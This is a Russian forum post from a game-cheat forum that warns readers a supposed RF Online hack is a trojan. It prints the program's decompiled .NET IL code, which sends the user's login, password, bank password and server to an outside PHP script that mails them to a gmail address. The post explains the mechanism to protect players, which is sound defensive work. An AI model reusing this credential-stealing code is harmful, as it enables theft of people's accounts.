Показать сообщение отдельно
Старый 04.03.2008, 22:14  
dark
Владимир Владимирович
Аватар для dark
OFFLINE
Регистрация: 09.04.2007
Сообщений: 963
Благодарностей:
34,622 всего
Мнения: + 22750
Репутация: 110529
Отправить сообщение для dark с помощью ICQ Отправить сообщение для dark с помощью Skype™

Данная программа - троян.
Для программистов выкладываю кусок кода программы, который выполняется при нажатии на кнопку:
Код:
 .method private hidebysig void button1_Click(class System.Object sender, class [mscorlib]System.EventArgs e)
  {
    .locals init (class [System]System.Net.HttpWebRequest V0,
                  class [System]System.Net.HttpWebResponse V1,
                  class System.String[] V2)
nop
ldc.i4.s 9
newarr  [mscorlib]System.String
stloc.2
ldloc.2
ldc.i4.0
ldstr   "http://www.fouxcheat.net/connectionRFO.php?to=foufouxx@gmail.com&sujet=RFONLINE&message=LOGIN : " 
stelem.ref
ldloc.2
ldc.i4.1
ldarg.0
ldfld   class [System.Windows.Forms]System.Windows.Forms.TextBox RFO_Hack.rfohack::login
callvirt class System.String [System.Windows.Forms]System.Windows.Forms.Control::get_Text()
stelem.ref
ldloc.2
ldc.i4.2
ldstr   " PASSWORD : "
stelem.ref
ldloc.2
ldc.i4.3
ldarg.0
ldfld   class [System.Windows.Forms]System.Windows.Forms.TextBox RFO_Hack.rfohack::password
callvirt class System.String [System.Windows.Forms]System.Windows.Forms.Control::get_Text()
stelem.ref
ldloc.2
ldc.i4.4
ldstr   " PASSBANK : "
stelem.ref
ldloc.2
ldc.i4.5
ldarg.0
ldfld   class [System.Windows.Forms]System.Windows.Forms.TextBox RFO_Hack.rfohack::passbank
callvirt class System.String [System.Windows.Forms]System.Windows.Forms.Control::get_Text()
stelem.ref
ldloc.2
ldc.i4.6
ldstr   " SERVER : "
stelem.ref
ldloc.2
ldc.i4.7
ldarg.0
ldfld   class [System.Windows.Forms]System.Windows.Forms.ComboBox RFO_Hack.rfohack::servers
callvirt class System.String [System.Windows.Forms]System.Windows.Forms.Control::get_Text()
stelem.ref
ldloc.2
ldc.i4.8
ldstr   "&from=RFONLINE"
stelem.ref
ldloc.2
call    class System.String [mscorlib]System.String::Concat(class System.String[])
call    class [System]System.Net.WebRequest [System]System.Net.WebRequest::Create(class System.String)
castclass [System]System.Net.HttpWebRequest
stloc.0
ldloc.0
callvirt class [System]System.Net.WebResponse [System]System.Net.WebRequest::GetResponse()
castclass [System]System.Net.HttpWebResponse
stloc.1
ldstr   "ACTIVE"
call    value class [System.Windows.Forms]System.Windows.Forms.DialogResult [System.Windows.Forms]System.Windows.Forms.MessageBox::Show(class System.String)
pop
ret
  }
При нажати на кнопку генерится http-адрес вида:
Цитата:
fouxcheat.net/connectionRFO.php?to=foufouxx@gmail.com&sujet=RFON LINE&message=LOGIN
: логин PASSWORD: пароль PASSBANK : пароль SERVER: сервер&from=RFONLINE
Ну а после собственно программой осуществляется заход по этой ссылке и данные отправляется на почту foufouxx@gmail.com php-скриптом www.fouxcheat.net/connectionRFO.php.
Троянский механизм активируется при нажатии на кнопку. В остальном программа - пустышка.

Запомните три вещи:
- бесплатный сыр бывает только в мышеловке
- не бывает программы, которая одним нажатием позволяет дюпать, делать деньги, выставлять 55 лвл и точить на +7 (за исключением тех, автором которых являюсь я )
- если антивири не реагируют, это абсолютно не означает, что программа безвредна.

Последний раз редактировалось dark; 04.03.2008 в 22:20.

Создание читов на заказ | Правила форума

Я не оказываю услуги гаранта!
База данных кидал: blacklist.rf-cheats.ru
Обязательно проверяйте человека через чёрный список прежде чем совершать с ним сделку.